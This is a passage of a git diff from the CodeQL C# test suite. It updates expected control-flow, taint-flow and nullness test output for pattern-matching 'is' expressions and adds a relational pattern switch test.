semmle.label | true | -| CSharp7.cs:256:27:256:40 | ... is ... | CSharp7.cs:259:13:259:36 | case ...: | semmle.label | false | -| CSharp7.cs:256:32:256:40 | String s4 | CSharp7.cs:256:27:256:40 | ... is ... | semmle.label | successor | +| CSharp7.cs:256:27:256:40 | [false] ... is ... | CSharp7.cs:259:13:259:36 | case ...: | semmle.label | false | +| CSharp7.cs:256:27:256:40 | [true] ... is ... | CSharp7.cs:257:17:257:45 | ...; | semmle.label | true | +| CSharp7.cs:256:32:256:40 | String s4 | CSharp7.cs:256:27:256:40 | [false] ... is ... | semmle.label | no-match | +| CSharp7.cs:256:32:256:40 | String s4 | CSharp7.cs:256:27:256:40 | [true] ... is ... | semmle.label | match | | CSharp7.cs:257:17:257:44 | call to method WriteLine | CSharp7.cs:258:17:258:22 | break; | semmle.label | successor | | CSharp7.cs:257:17:257:45 | ...; | CSharp7.cs:257:37:257:38 | "x " | semmle.label | successor | | CSharp7.cs:257:35:257:43 | $"..." | CSharp7.cs:257:17:257:44 | call to method WriteLine | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected index fc00d4e05e9..ef6b14f1eee 100644 --- a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected @@ -193,8 +193,9 @@ | CSharp7.cs:235:13:235:13 | access to local variable o | CSharp7.cs:235:18:235:23 | SSA def(i1) | | CSharp7.cs:235:13:235:13 | access to local variable o | CSharp7.cs:239:18:239:18 | access to local variable o | | CSharp7.cs:235:13:235:13 | access to local variable o | CSharp7.cs:250:17:250:17 | access to local variable o | -| CSharp7.cs:235:13:235:23 | ... is ... | CSharp7.cs:235:13:235:33 | [false] ... && ... | -| CSharp7.cs:235:13:235:23 | ... is ... | CSharp7.cs:235:13:235:33 | [true] ... && ... | +| CSharp7.cs:235:13:235:23 | [false] ... is ... | CSharp7.cs:235:13:235:33 | [false] ... && ... | +| CSharp7.cs:235:13:235:23 | [true] ... is ... | CSharp7.cs:235:13:235:33 | [false] ... && ... | +| CSharp7.cs:235:13:235:23 | [true] ... is ... | CSharp7.cs:235:13:235:33 | [true] ... && ... | | CSharp7.cs:235:18:235:23 | SSA def(i1) | CSharp7.cs:235:28:235:29 | access to local variable i1 | | CSharp7.cs:235:28:235:29 | access to local variable i1 | CSharp7.cs:235:28:235:33 | ... > ... | | CSharp7.cs:235:28:235:29 | access to local variable i1 | CSharp7.cs:237:38:237:39 | access to local variable i1 | @@ -251,7 +252,7 @@ | CSharp7.cs:299:25:299:30 | ... < ... | CSharp7.cs:299:25:299:44 | [true] ... && ... | | CSharp7.cs:299:35:299:35 | access to local variable x | CSharp7.cs:299:40:299:44 | SSA def(y) | | CSharp7.cs:299:35:299:35 | access to local variable x | CSharp7.cs:299:49:299:49 | access to local variable x | -| CSharp7.cs:299:35:299:44 | ... is ... | CSharp7.cs:299:25:299:44 | [false] ... && ... | -| CSharp7.cs:299:35:299:44 | ... is ... | CSharp7.cs:299:25:299:44 | [true] ... && ... | +| CSharp7.cs:299:35:299:44 | [false] ... is ... | CSharp7.cs:299:25:299:44 | [false] ... && ... | +| CSharp7.cs:299:35:299:44 | [true] ... is ... | CSharp7.cs:299:25:299:44 | [true] ... && ... | | CSharp7.cs:299:40:299:44 | SSA def(y) | CSharp7.cs:301:31:301:31 | access to local variable y | | CSharp7.cs:299:47:299:49 | SSA def(x) | CSharp7.cs:299:25:299:25 | SSA phi(x) | diff --git a/csharp/ql/test/library-tests/csharp8/ispatternflow.expected b/csharp/ql/test/library-tests/csharp8/ispatternflow.expected index 31e52472bde..4c172af48c4 100644 --- a/csharp/ql/test/library-tests/csharp8/ispatternflow.expected +++ b/csharp/ql/test/library-tests/csharp8/ispatternflow.expected @@ -10,20 +10,22 @@ | patterns.cs:7:39:7:39 | 2 | patterns.cs:7:35:7:39 | ... = ... | semmle.label | successor | | patterns.cs:9:9:11:9 | if (...) ... | patterns.cs:9:13:9:13 | access to local variable o | semmle.label | successor | | patterns.cs:9:13:9:13 | access to local variable o | patterns.cs:9:18:9:29 | MyStruct ms1 | semmle.label | successor | -| patterns.cs:9:13:9:29 | ... is ... | patterns.cs:10:9:11:9 | {...} | semmle.label | true | -| patterns.cs:9:13:9:29 | ... is ... | patterns.cs:13:9:15:9 | if (...) ... | semmle.label | false | -| patterns.cs:9:18:9:29 | MyStruct ms1 | patterns.cs:9:13:9:29 | ... is ... | semmle.label | successor | +| patterns.cs:9:13:9:29 | [false] ... is ... | patterns.cs:13:9:15:9 | if (...) ... | semmle.label | false | +| patterns.cs:9:13:9:29 | [true] ... is ... | patterns.cs:10:9:11:9 | {...} | semmle.label | true | +| patterns.cs:9:18:9:29 | MyStruct ms1 | patterns.cs:9:13:9:29 | [false] ... is ... | semmle.label | no-match | +| patterns.cs:9:18:9:29 | MyStruct ms1 | patterns.cs:9:13:9:29 | [true] ... is ... | semmle.label | match | | patterns.cs:10:9:11:9 | {...} | patterns.cs:13:9:15:9 | if (...) ... | semmle.label | successor | | patterns.cs:13:9:15:9 | if (...) ... | patterns.cs:13:13:13:13 | access to local variable o | semmle.label | successor | | patterns.cs:13:13:13:13 | access to local variable o | patterns.cs:13:18:13:40 | MyStruct s | semmle.label | successor | -| patterns.cs:13:13:13:40 | ... is ... | patterns.cs:13:13:13:47 | [false] ... && ... | semmle.label | false | -| patterns.cs:13:13:13:40 | ... is ... | patterns.cs:13:45:13:45 | access to local variable x | semmle.label | true | +| patterns.cs:13:13:13:40 | [false] ... is ... | patterns.cs:13:13:13:47 | [false] ... && ... | semmle.label | false | +| patterns.cs:13:13:13:40 | [true] ... is ... | patterns.cs:13:45:13:45 | access to local variable x | semmle.label | true | | patterns.cs:13:13:13:47 | [false] ... && ... | patterns.cs:13:13:13:56 | [false] ... && ... | semmle.label | false | | patterns.cs:13:13:13:47 | [true] ... && ... | patterns.cs:13:52:13:52 | access to local variable s | semmle.label | true | | patterns.cs:13:13:13:56 | [false] ... && ... | patterns.cs:17:9:19:9 | if (...) ... | semmle.label | false | | patterns.cs:13:13:13:56 | [true] ... && ... | patterns.cs:14:9:15:9 | {...} | semmle.label | true | | patterns.cs:13:18:13:40 | MyStruct s | patterns.cs:13:32:13:36 | Int32 x | semmle.label | successor | -| patterns.cs:13:18:13:40 | { ... } | patterns.cs:13:13:13:40 | ... is ... | semmle.label | successor | +| patterns.cs:13:18:13:40 | { ... } | patterns.cs:13:13:13:40 | [false] ... is ... | semmle.label | no-match | +| patterns.cs:13:18:13:40 | { ... } | patterns.cs:13:13:13:40 | [true] ... is ... | semmle.label | match | | patterns.cs:13:27:13:38 | { ... } | patterns.cs:13:18:13:40 | { ... } | semmle.label | successor | | patterns.cs:13:32:13:36 | Int32 x | patterns.cs:13:27:13:38 | { ... } | semmle.label | successor | | patterns.cs:13:45:13:45 | access to local variable x | patterns.cs:13:47:13:47 | 4 | semmle.label | successor | @@ -38,17 +40,19 @@ | patterns.cs:14:9:15:9 | {...} | patterns.cs:17:9:19:9 | if (...) ... | semmle.label | successor | | patterns.cs:17:9:19:9 | if (...) ... | patterns.cs:17:13:17:13 | access to local variable o | semmle.label | successor | | patterns.cs:17:13:17:13 | access to local variable o | patterns.cs:17:18:17:21 | Object p | semmle.label | successor | -| patterns.cs:17:13:17:21 | ... is ... | patterns.cs:18:9:19:9 | {...} | semmle.label | true | -| patterns.cs:17:13:17:21 | ... is ... | patterns.cs:22:9:24:9 | if (...) ... | semmle.label | false | +| patterns.cs:17:13:17:21 | [false] ... is ... | patterns.cs:22:9:24:9 | if (...) ... | semmle.label | false | +| patterns.cs:17:13:17:21 | [true] ... is ... | patterns.cs:18:9:19:9 | {...} | semmle.label | true | | patterns.cs:17:18:17:19 | { ... } | patterns.cs:17:18:17:21 | { ... } | semmle.label | successor | | patterns.cs:17:18:17:21 | Object p | patterns.cs:17:18:17:19 | { ... } | semmle.label | successor | -| patterns.cs:17:18:17:21 | { ... } | patterns.cs:17:13:17:21 | ... is ... | semmle.label | successor | +| patterns.cs:17:18:17:21 | { ... } | patterns.cs:17:13:17:21 | [false] ... is ... | semmle.label | no-match | +| patterns.cs:17:18:17:21 | { ... } | patterns.cs:17:13:17:21 | [true] ... is ... | semmle.label | match | | patterns.cs:18:9:19:9 | {...} | patterns.cs:22:9:24:9 | if (...) ... | semmle.label | successor | | patterns.cs:22:9:24:9 | if (...) ... | patterns.cs:22:13:22:13 | access to local variable o | semmle.label | successor | | patterns.cs:22:13:22:13 | access to local variable o | patterns.cs:22:31:22:32 | 12 | semmle.label | successor | -| patterns.cs:22:13:22:53 | ... is ... | patterns.cs:23:9:24:9 | {...} | semmle.label | true | -| patterns.cs:22:13:22:53 | ... is ... | patterns.cs:27:9:29:9 | if (...) ... | semmle.label | false | -| patterns.cs:22:18:22:53 | { ... } | patterns.cs:22:13:22:53 | ... is ... | semmle.label | successor | +| patterns.cs:22:13:22:53 | [false] ... is ... | patterns.cs:27:9:29:9 | if (...) ... | semmle.label | false | +| patterns.cs:22:13:22:53 | [true] ... is ... | patterns.cs:23:9:24:9 | {...} | semmle.label | true | +| patterns.cs:22:18:22:53 | { ... } | patterns.cs:22:13:22:53 | [false] ... is ... | semmle.label | no-match | +| patterns.cs:22:18:22:53 | { ... } | patterns.cs:22:13:22:53 | [true] ... is ... | semmle.label | match | | patterns.cs:22:27:22:53 | { ... } | patterns.cs:22:18:22:53 | { ... } | semmle.label | successor | | patterns.cs:22:31:22:32 | 12 | patterns.cs:22:42:22:49 | Int32 subX | semmle.label | successor | | patterns.cs:22:38:22:51 | { ... } | patterns.cs:22:27:22:53 | { ... } | semmle.label | successor | @@ -57,9 +61,10 @@ | patterns.cs:23:9:24:9 | {...} | patterns.cs:27:9:29:9 | if (...) ... | semmle.label | successor | | patterns.cs:27:9:29:9 | if (...) ... | patterns.cs:27:13:27:13 | access to local variable o | semmle.label | successor | | patterns.cs:27:13:27:13 | access to local variable o | patterns.cs:27:31:27:32 | 12 | semmle.label | successor | -| patterns.cs:27:13:27:58 | ... is ... | patterns.cs:5:10:5:19 | exit IsPatterns (normal) | semmle.label | false | -| patterns.cs:27:13:27:58 | ... is ... | patterns.cs:28:9:29:9 | {...} | semmle.label | true | -| patterns.cs:27:18:27:58 | { ... } | patterns.cs:27:13:27:58 | ... is ... | semmle.label | successor | +| patterns.cs:27:13:27:58 | [false] ... is ... | patterns.cs:5:10:5:19 | exit IsPatterns (normal) | semmle.label | false | +| patterns.cs:27:13:27:58 | [true] ... is ... | patterns.cs:28:9:29:9 | {...} | semmle.label | true | +| patterns.cs:27:18:27:58 | { ... } | patterns.cs:27:13:27:58 | [false] ... is ... | semmle.label | no-match | +| patterns.cs:27:18:27:58 | { ... } | patterns.cs:27:13:27:58 | [true] ... is ... | semmle.label | match | | patterns.cs:27:27:27:58 | { ... } | patterns.cs:27:18:27:58 | { ... } | semmle.label | successor | | patterns.cs:27:31:27:32 | 12 | patterns.cs:27:38:27:56 | MyStruct ms | semmle.label | successor | | patterns.cs:27:38:27:56 | MyStruct ms | patterns.cs:27:51:27:51 | _ | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/csharp8/switchexprcontrolflow.expected b/csharp/ql/test/library-tests/csharp8/switchexprcontrolflow.expected index 53132fa80cf..d54bffc9f4c 100644 --- a/csharp/ql/test/library-tests/csharp8/switchexprcontrolflow.expected +++ b/csharp/ql/test/library-tests/csharp8/switchexprcontrolflow.expected @@ -146,9 +146,10 @@ | patterns.cs:140:17:140:24 | Object y | patterns.cs:141:17:141:22 | access to type String | semmle.label | no-match | | patterns.cs:140:17:140:42 | ... => ... | patterns.cs:136:17:143:13 | ... switch { ... } | semmle.label | successor | | patterns.cs:140:31:140:31 | access to local variable y | patterns.cs:140:36:140:37 | { ... } | semmle.label | successor | -| patterns.cs:140:31:140:37 | ... is ... | patterns.cs:140:42:140:42 | 4 | semmle.label | true | -| patterns.cs:140:31:140:37 | ... is ... | patterns.cs:141:17:141:22 | access to type String | semmle.label | false | -| patterns.cs:140:36:140:37 | { ... } | patterns.cs:140:31:140:37 | ... is ... | semmle.label | successor | +| patterns.cs:140:31:140:37 | [false] ... is ... | patterns.cs:141:17:141:22 | access to type String | semmle.label | false | +| patterns.cs:140:31:140:37 | [true] ... is ... | patterns.cs:140:42:140:42 | 4 | semmle.label | true | +| patterns.cs:140:36:140:37 | { ... } | patterns.cs:140:31:140:37 | [false] ... is ... | semmle.label | no-match | +| patterns.cs:140:36:140:37 | { ... } | patterns.cs:140:31:140:37 | [true] ... is ... | semmle.label | match | | patterns.cs:140:36:140:37 | { ... } | patterns.cs:140:36:140:37 | { ... } | semmle.label | successor | | patterns.cs:140:42:140:42 | 4 | patterns.cs:140:17:140:42 | ... => ... | semmle.label | successor | | patterns.cs:141:17:141:22 | access to type String | patterns.cs:141:29:141:29 | 5 | semmle.label | match | diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected index a93069cf7e4..fc6cb442cb0 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybe.expected +++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.expected @@ -191,6 +191,7 @@ nodes | D.cs:253:13:253:14 | access to local variable o2 | | D.cs:258:16:258:23 | SSA def(o) | | D.cs:266:9:267:25 | if (...) ... | +| D.cs:266:13:266:27 | [true] ... is ... | | D.cs:267:13:267:13 | access to local variable o | | D.cs:269:9:269:16 | SSA def(o) | | D.cs:272:25:272:25 | access to local variable i | @@ -345,6 +346,7 @@ nodes | E.cs:201:13:201:13 | access to local variable o | | E.cs:203:13:203:13 | access to local variable o | | E.cs:206:28:206:28 | SSA param(s) | +| E.cs:208:13:208:23 | [false] ... is ... | | E.cs:210:16:210:16 | access to parameter s | | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | | E.cs:218:9:218:9 | access to local variable x | @@ -364,6 +366,7 @@ nodes | E.cs:301:13:301:27 | SSA def(s) | | E.cs:302:9:302:9 | access to local variable s | | E.cs:319:29:319:30 | SSA param(s1) | +| E.cs:321:13:321:30 | [true] ... is ... | | E.cs:321:14:321:21 | ... ?? ... | | E.cs:321:20:321:21 | access to parameter s2 | | E.cs:323:13:323:14 | access to parameter s1 | @@ -597,7 +600,8 @@ edges | D.cs:244:9:247:25 | if (...) ... | D.cs:247:13:247:13 | access to local variable o | | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | | D.cs:258:16:258:23 | SSA def(o) | D.cs:266:9:267:25 | if (...) ... | -| D.cs:266:9:267:25 | if (...) ... | D.cs:267:13:267:13 | access to local variable o | +| D.cs:266:9:267:25 | if (...) ... | D.cs:266:13:266:27 | [true] ... is ... | +| D.cs:266:13:266:27 | [true] ... is ... | D.cs:267:13:267:13 | access to local variable o | | D.cs:269:9:269:16 | SSA def(o) | D.cs:272:25:272:25 | access to local variable i | | D.cs:272:25:272:25 | access to local variable i | D.cs:273:9:288:9 | {...} | | D.cs:272:25:272:25 | access to local variable i | D.cs:290:9:291:25 | if (...) ... | @@ -744,7 +748,8 @@ edges | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | -| E.cs:206:28:206:28 | SSA param(s) | E.cs:210:16:210:16 | access to parameter s | +| E.cs:206:28:206:28 | SSA param(s) | E.cs:208:13:208:23 | [false] ... is ... | +| E.cs:208:13:208:23 | [false] ... is ... | E.cs:210:16:210:16 | access to parameter s | | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:220:13:220:13 | access to local variable x | | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:13 | access to local variable x | @@ -756,7 +761,8 @@ edges | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | | E.cs:319:29:319:30 | SSA param(s1) | E.cs:321:20:321:21 | access to parameter s2 | -| E.cs:321:14:321:21 | ... ?? ... | E.cs:323:13:323:14 | access to parameter s1 | +| E.cs:321:13:321:30 | [true] ... is ... | E.cs:323:13:323:14 | access to parameter s1 | +| E.cs:321:14:321:21 | ... ?? ... | E.cs:321:13:321:30 | [true] ... is ... | | E.cs:321:20:321:21 | access to parameter s2 | E.cs:321:14:321:21 | ... ?? ... | | E.cs:330:13:330:36 | SSA def(x) | E.cs:331:9:331:9 | access to local variable x | | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | From e0c7f3228208d0b8e8f9b40b81ec397dfa7a9f3b Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 19 Jan 2021 10:40:13 +0100 Subject: [PATCH 0798/1241] C#: Add relational pattern CFG test --- .../controlflow/graph/BasicBlock.expected | 9 +++ .../controlflow/graph/Condition.expected | 16 ++++ .../controlflow/graph/Dominance.expected | 80 +++++++++++++++++++ .../graph/EnclosingCallable.expected | 30 +++++++ .../controlflow/graph/EntryElement.expected | 18 +++++ .../controlflow/graph/ExitElement.expected | 21 +++++ .../controlflow/graph/NodeGraph.expected | 23 ++++++ .../controlflow/graph/Nodes.expected | 1 + .../controlflow/graph/Patterns.cs | 11 +++ 9 files changed, 209 insertions(+) diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 557f5ea4df6..2cfbf8ef3da 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -970,6 +970,15 @@ | Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:69:13:69:17 | [no-match] not ... | 1 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | 1 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | exit M6 | 6 | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:78:13:78:15 | > ... | 5 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:74:26:74:27 | exit M7 | 4 | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:13:78:24 | ... => ... | 2 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:13:79:15 | < ... | 2 | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:13:79:24 | ... => ... | 2 | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:13:80:13 | 1 | 1 | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:13:80:20 | ... => ... | 2 | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | 1 | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:20 | ... => ... | 2 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | exit M1 | 7 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:18:12:21 | null | 5 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | exit M2 | 2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index 3f8406344b7..341f8a50b29 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1872,6 +1872,22 @@ conditionBlock | Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:13:70:13 | 2 | false | | Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:18:70:27 | "possible" | false | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | true | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:78:20:78:24 | "> 1" | true | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:79:15:79:15 | 0 | false | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:79:20:79:24 | "< 0" | false | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:80:13:80:13 | 1 | false | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:80:18:80:20 | "1" | false | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:81:13:81:13 | _ | false | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:81:18:81:20 | "0" | false | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:20:79:24 | "< 0" | true | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:80:13:80:13 | 1 | false | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:80:18:80:20 | "1" | false | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:81:13:81:13 | _ | false | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:81:18:81:20 | "0" | false | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:18:80:20 | "1" | true | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:13:81:13 | _ | false | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:18:81:20 | "0" | false | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [false] ... is ... | false | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:12:13:12:21 | [true] ... is ... | true | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:13:13:13:19 | return ...; | true | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index e0f56f17f5c..0e031cadabe 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -3177,6 +3177,25 @@ dominance | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:67:16:71:9 | ... switch { ... } | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:27 | ... => ... | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:75:5:83:5 | {...} | +| Patterns.cs:74:26:74:27 | exit M7 (normal) | Patterns.cs:74:26:74:27 | exit M7 | +| Patterns.cs:75:5:83:5 | {...} | Patterns.cs:76:16:76:16 | access to parameter i | +| Patterns.cs:76:9:82:10 | return ...; | Patterns.cs:74:26:74:27 | exit M7 (normal) | +| Patterns.cs:76:16:76:16 | access to parameter i | Patterns.cs:78:15:78:15 | 1 | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:76:9:82:10 | return ...; | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:78:15:78:15 | 1 | Patterns.cs:78:13:78:15 | > ... | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:13:78:24 | ... => ... | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:13:79:15 | < ... | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:13:79:24 | ... => ... | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:13:80:20 | ... => ... | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:20 | ... => ... | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | exit M1 | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:29 | ...; | @@ -7170,6 +7189,23 @@ postDominance | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:69:13:69:17 | [no-match] not ... | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:13 | 2 | +| Patterns.cs:74:26:74:27 | exit M7 | Patterns.cs:74:26:74:27 | exit M7 (normal) | +| Patterns.cs:74:26:74:27 | exit M7 (normal) | Patterns.cs:76:9:82:10 | return ...; | +| Patterns.cs:75:5:83:5 | {...} | Patterns.cs:74:26:74:27 | enter M7 | +| Patterns.cs:76:9:82:10 | return ...; | Patterns.cs:76:16:82:9 | ... switch { ... } | +| Patterns.cs:76:16:76:16 | access to parameter i | Patterns.cs:75:5:83:5 | {...} | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:78:13:78:24 | ... => ... | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:79:13:79:24 | ... => ... | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:80:13:80:20 | ... => ... | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:81:13:81:20 | ... => ... | +| Patterns.cs:78:13:78:15 | > ... | Patterns.cs:78:15:78:15 | 1 | +| Patterns.cs:78:13:78:24 | ... => ... | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:78:15:78:15 | 1 | Patterns.cs:76:16:76:16 | access to parameter i | +| Patterns.cs:79:13:79:15 | < ... | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:79:13:79:24 | ... => ... | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:80:13:80:20 | ... => ... | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:13 | _ | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | exit M1 (normal) | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:7:9:7:28 | call to method WriteLine | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:5:10:5:11 | enter M1 | @@ -11682,6 +11718,32 @@ blockDominance | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:74:26:74:27 | enter M7 | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:76:16:82:9 | ... switch { ... } | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:74:26:74:27 | enter M7 | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:76:16:82:9 | ... switch { ... } | Patterns.cs:76:16:82:9 | ... switch { ... } | +| Patterns.cs:78:20:78:24 | "> 1" | Patterns.cs:78:20:78:24 | "> 1" | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:15:79:15 | 0 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:79:15:79:15 | 0 | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:79:20:79:24 | "< 0" | Patterns.cs:79:20:79:24 | "< 0" | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:13:80:13 | 1 | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:80:13:80:13 | 1 | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:80:18:80:20 | "1" | Patterns.cs:80:18:80:20 | "1" | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | +| Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | 